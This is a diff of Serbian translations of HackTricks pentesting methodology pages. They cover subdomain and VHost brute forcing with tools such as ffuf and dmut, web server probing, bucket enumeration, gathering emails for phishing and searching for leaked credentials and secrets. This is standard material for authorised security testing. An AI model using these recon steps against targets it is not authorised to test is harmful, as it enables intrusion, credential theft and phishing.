* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubom silom dobiti rezultat (ne podržava dns wildcard).
|
||||
* Možete preuzeti dmut permutacije rečnika reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
* Možete preuzeti listu reči za permutacije dmut-a [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
|
@ -405,7 +413,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim algoritmom vođenim odgovorima DNS-a. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu prikupljenih informacija tokom skeniranja DNS-a.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim algoritmom vođenim odgovorima DNS-a. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu informacija prikupljenih tokom skeniranja DNS-a.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -419,7 +427,7 @@ Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanj
|
|||
|
||||
### **VHosts / Virtuelni hostovi**
|
||||
|
||||
Ako pronađete IP adresu koja sadrži **jednu ili više veb stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost domena na toj IP adresi**.
|
||||
Ako pronađete IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost domena na toj IP adresi**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -427,7 +435,7 @@ Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](ht
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute-force metodom otkrijete:
|
||||
Ako sumnjate da se neki poddomen može sakriti na veb serveru, možete pokušati da ga brute-force metodom otkrijete:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -442,7 +450,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima.
|
||||
Pomoću ove tehnike možda čak možete pristupiti internim/skrivenim endpointima.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
@ -453,17 +461,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Brute Force za Buckets**
|
||||
|
||||
Prilikom traženja **poddomena**, obratite pažnju da li se **usmerava** ka nekoj vrsti **bucket**-a, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Prilikom traženja **poddomena**, obratite pažnju da li je usmeren ka nekoj vrsti **bucket**-a, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Takođe, s obzirom da ćete u ovom trenutku znati sve domene unutar opsega, pokušajte [**brute force mogućih imena bucket-a i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorisanje**
|
||||
|
||||
Možete **pratiti** da li su **novi poddomeni** domena kreirani praćenjem **Certificate Transparency** Logova što radi [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Možete **pratiti** da li su **kreirani novi poddomeni** domena praćenjem **Certificate Transparency** logova koje radi [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Proverite moguće [**preuzimanje poddomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Ako se **poddomen** usmerava ka nekom **S3 bucket**-u, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Ako **poddomen** usmerava ka nekom **S3 bucket**-u, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Ako pronađete bilo koji **poddomen sa IP adresom različitom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (korišćenjem Nessus-a ili OpenVAS-a) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
_Napomena da se ponekad poddomen nalazi na IP adresi koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._
|
||||
|
@ -473,7 +481,7 @@ _Napomena da se ponekad poddomen nalazi na IP adresi koja nije pod kontrolom kli
|
|||
U početnim koracima možda ste **pronašli neke opsege IP adresa, domene i poddomene**.\
|
||||
Vreme je da **prikupite sve IP adrese iz tih opsega** i za **domene/poddomene (DNS upiti).**
|
||||
|
||||
Korišćenjem usluga sledećih **besplatnih API-ja** takođe možete pronaći **prethodne IP adrese korišćene od strane domena i poddomena**. Ove IP adrese možda i dalje pripadaju klijentu (i možda vam omoguće da pronađete [**CloudFlare zaobilaze**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Korišćenjem usluga sledećih **besplatnih API-ja** takođe možete pronaći **prethodne IP adrese koje su korišćene od strane domena i poddomena**. Te IP adrese možda i dalje pripadaju klijentu (i možda vam omoguće da pronađete [**CloudFlare zaobilaze**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
|
@ -491,9 +499,9 @@ Takođe možete proveriti domene koje usmeravaju ka određenoj IP adresi koriš
|
|||
|
||||
U prethodnim koracima verovatno ste već izvršili neku **rekognosciranje otkrivenih IP adresa i domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega.
|
||||
|
||||
Molimo vas, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe da **izvršite skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu).
|
||||
Molimo vas, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu).
|
||||
|
||||
**Brz način** za otkrivanje **otvorenih portova** vezanih za **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||
**Brz metod** za otkrivanje **otvorenih portova** vezanih za **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||
Još jedan koristan alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -501,15 +509,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**), verovatno **ne znate odakle da počnete**. Dakle, hajde da to učinimo jednostavnim i počnemo tako što ćemo samo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **sklone** da budu **ranjive**.
|
||||
Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**), verovatno **ne znate odakle da počnete**. Dakle, hajde da to učinimo jednostavnim i počnemo tako što ćemo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **sklone** da budu **ranjive**.
|
||||
|
||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregleda sve **snimke ekrana** i kaže vam šta je **verovatno da sadrži ranjivosti**, a šta ne.
|
||||
Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i da vam kaže šta je **verovatno ranjivo**, a šta nije.
|
||||
|
||||
## Javna Cloud Sredstva
|
||||
|
||||
Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"kripto", "novčanik", "dao", "<ime_domena>", <"imeni_poddomena">`.
|
||||
Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"kripto", "novčanik", "dao", "<ime_domena>", <"imenja_poddomena">`.
|
||||
|
||||
Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**:
|
||||
|
||||
|
@ -529,7 +537,7 @@ Ako pronađete stvari poput **otvorenih bucketa ili izloženih cloud funkcija**,
|
|||
|
||||
## Emailovi
|
||||
|
||||
Sa **domenima** i **poddomenima** unutar opsega, imate sve što vam je **potrebno da počnete tražiti emailove**. Ovo su **API-ji** i **alati** koji su najbolje funkcionisali za mene u pronalaženju emailova kompanije:
|
||||
Sa **domenima** i **poddomenima** unutar opsega, praktično imate sve što vam je **potrebno da počnete tražiti emailove**. Ovo su **API-ji** i **alati** koji su najbolje funkcionisali za mene u pronalaženju emailova kompanije:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
|
||||
* API od [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
|
||||
|
@ -538,29 +546,29 @@ Sa **domenima** i **poddomenima** unutar opsega, imate sve što vam je **potrebn
|
|||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Emailovi će kasnije biti korisni za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga.
|
||||
Emailovi će vam kasnije koristiti za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga.
|
||||
|
||||
## Curenje Kredencijala
|
||||
## Procurene Poverljive Informacije
|
||||
|
||||
Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurele kredencijale iz prošlosti koji pripadaju tim emailovima:
|
||||
Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurene poverljive informacije iz prošlosti koje pripadaju tim emailovima:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Ako pronađete **validne procurele** kredencijale, to je veoma laka pobeda.
|
||||
Ako pronađete **validne procurene** poverljive informacije, to je veoma laka pobeda.
|
||||
|
||||
## Curenje Tajni
|
||||
## Procurene Tajne
|
||||
|
||||
Curenje kredencijala je povezano sa hakovanjem kompanija gde je **osetljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
||||
Procurene poverljive informacije su povezane sa hakovanjem kompanija gde su **poverljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim procurama** čije informacije nisu u tim bazama podataka:
|
||||
|
||||
### Github Curenja
|
||||
### Github Procure
|
||||
|
||||
Kredencijali i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **developer-a** i pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) automatski nad njima.
|
||||
Poverljive informacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **razvijalaca** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
||||
|
||||
**Leakos** takođe može biti korišćen za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer ponekad **veb stranice takođe sadrže tajne**.
|
||||
**Leakos** takođe može biti korišćen za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer se ponekad **veb stranice takođe sadrže tajne**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
|
@ -570,9 +578,9 @@ Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Paste Curenja
|
||||
### Paste Procure
|
||||
|
||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **osetljive informacije**, ali je veoma interesantno tražiti ih.\
|
||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **poverljive informacije**, ali je veoma interesantno tražiti ih.\
|
||||
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 sajtova za paste istovremeno.
|
||||
|
||||
### Google Dorks
|
||||
|
@ -583,13 +591,13 @@ _Napomena da alati koji očekuju da pokrenu celu bazu podataka koristeći običn
|
|||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Ako pronađete **validne procurele** kredencijala ili API tokena, to je veoma laka pobeda.
|
||||
Ako pronađete **validne procurene** poverljive informacije ili API tokene, to je veoma laka pobeda.
|
||||
|
||||
## Javne Ranjivosti Koda
|
||||
|
||||
Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** na njemu.
|
||||
Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
|
||||
|
||||
**Zavisno o jeziku**, postoje različiti **alati** koje možete koristiti:
|
||||
**Zavisno od jezika**, postoje različiti **alati** koje možete koristiti:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
|
@ -598,11 +606,11 @@ Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i t
|
|||
Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **web aplikacija**, pa bih sada želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Takođe želim da posebno spomenem sekciju [**Alati otvorenog koda za automatsko skeniranje veb aplikacija**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **tokove rada kako bi se dobile neke početne informacije o vebu.**
|
||||
Takođe želim da posebno spomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **radne tokove kako bi se dobile neke početne informacije o webu.**
|
||||
|
||||
## Rekapitulacija
|
||||
|
||||
|
@ -615,12 +623,12 @@ Dakle, već ste:
|
|||
3. Pronašli sve **domene** koje pripadaju kompanijama
|
||||
4. Pronašli sve **poddomene** domena (bilo preuzimanja poddomena?)
|
||||
5. Pronašli sve **IP adrese** (iz i **ne iz CDN-a**) unutar opsega.
|
||||
6. Pronašli sve **veb servere** i napravili **screenshot** (ima li nešto čudno vredno detaljnijeg pregleda?)
|
||||
6. Pronašli sve **web servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?)
|
||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||
8. **Emailove**, **procurele akreditive** i **procurele tajne** koje bi vam mogle doneti **veliku pobedu veoma lako**.
|
||||
9. **Testirali sve vebove koje ste pronašli**
|
||||
9. **Pentestirali sve web stranice koje ste pronašli**
|
||||
|
||||
## **Alati za automatsku potpunu rekonstrukciju**
|
||||
## **Automatski alati za potpunu rekonstrukciju**
|
||||
|
||||
Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog opsega.
|
||||
|
||||
|
@ -631,24 +639,24 @@ Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog ops
|
|||
|
||||
## **Reference**
|
||||
|
||||
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru hakera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
|
||||
|
@ -28,7 +28,7 @@ _Logotipi Hacktricks-a dizajnirani od strane_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### 0- Fizički napadi
|
||||
|
||||
Imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/).
|
||||
Imate li **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**izlasku iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/).
|
||||
|
||||
### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/)
|
||||
|
||||
|
@ -45,22 +45,22 @@ Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **
|
|||
|
||||
### 3- [Skeniranje portova - Otkrivanje servisa](pentesting-network/#scanning-hosts)
|
||||
|
||||
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da saznate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
||||
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Pretraga eksploatacija verzija servisa](search-exploits.md)
|
||||
|
||||
Kada saznate koje servise rade, a možda i njihove verzije, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploatacija koja će vam omogućiti pristup...
|
||||
Kada saznate koje servise koristite, i možda njihove verzije, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploatacija koja će vam omogućiti pristup...
|
||||
|
||||
### **5-** Pentesting servisa
|
||||
### **5-** Pentesting Servisi
|
||||
|
||||
Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, trebalo bi da tražite **uobičajene loše konfiguracije u svakom pokrenutom servisu**.
|
||||
Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, trebalo bi da potražite **uobičajene loše konfiguracije u svakom pokrenutom servisu**.
|
||||
|
||||
**Unutar ove knjige pronaći ćete vodič za pentestiranje najčešćih servisa** (i drugih koji nisu tako česti)**. Molimo, potražite u levom indeksu** _**PENTESTING**_ **odeljak** (servisi su poređani po njihovim podrazumevanim portovima).
|
||||
**Unutar ove knjige pronaći ćete vodič za pentestiranje najčešćih servisa** (i drugih koji nisu tako česti)**. Molimo, potražite u levom indeksu** _**PENTESTING**_ **odeljak** (servisi su poređani prema njihovim podrazumevanim portovima).
|
||||
|
||||
**Želim da napomenem** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deo (jer je najobimniji).**\
|
||||
Takođe, ovde možete pronaći mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md).
|
||||
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) možete pronaći ovde.
|
||||
|
||||
**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete naći ništa** na Google-u, obavite **svoj blind pentesting**, možete početi tako što ćete **se povezati sa servisom, fuzzovati ga i čitati odgovore** (ako ih ima).
|
||||
**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete ništa pronaći** na Google-u, obavite svoj **slepi pentesting**, možete početi tako što ćete **povezati se sa servisom, testirati ga i čitati odgovore** (ako ih ima).
|
||||
|
||||
#### 5.1 Automatski alati
|
||||
|
||||
|
@ -72,7 +72,7 @@ U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Ako do ovog trenutka niste pronašli zanimljivu ranjivost, **možda ćete morati da pokušate sa phishingom** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/):
|
||||
Ako do sada niste pronašli zanimljivu ranjivost, **možda ćete morati da pokušate sa phishingom** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/):
|
||||
|
||||
### **7-** [**Dobijanje Shell-a**](shells/)
|
||||
|
||||
|
@ -80,7 +80,7 @@ Na neki način, trebalo bi da ste pronašli **neki način za izvršavanje koda**
|
|||
|
||||
Posebno u Windows-u možda će vam biti potrebna pomoć da **izbegnete antivirusne programe**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Unutar
|
||||
### 8- Unutra
|
||||
|
||||
Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkorisnijih komandi** za pentestere:
|
||||
|
||||
|
@ -88,19 +88,19 @@ Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkori
|
|||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
||||
### **9 -** [**Eksfiltracija**](exfiltration.md)
|
||||
|
||||
Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||
### **10- Eskalacija privilegija**
|
||||
|
||||
#### **10.1- Lokalna eskalacija privilegija**
|
||||
|
||||
Ako niste **root/Administrator** unutar sistema, trebalo bi da pronađete način da **eskališete privilegije.**\
|
||||
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
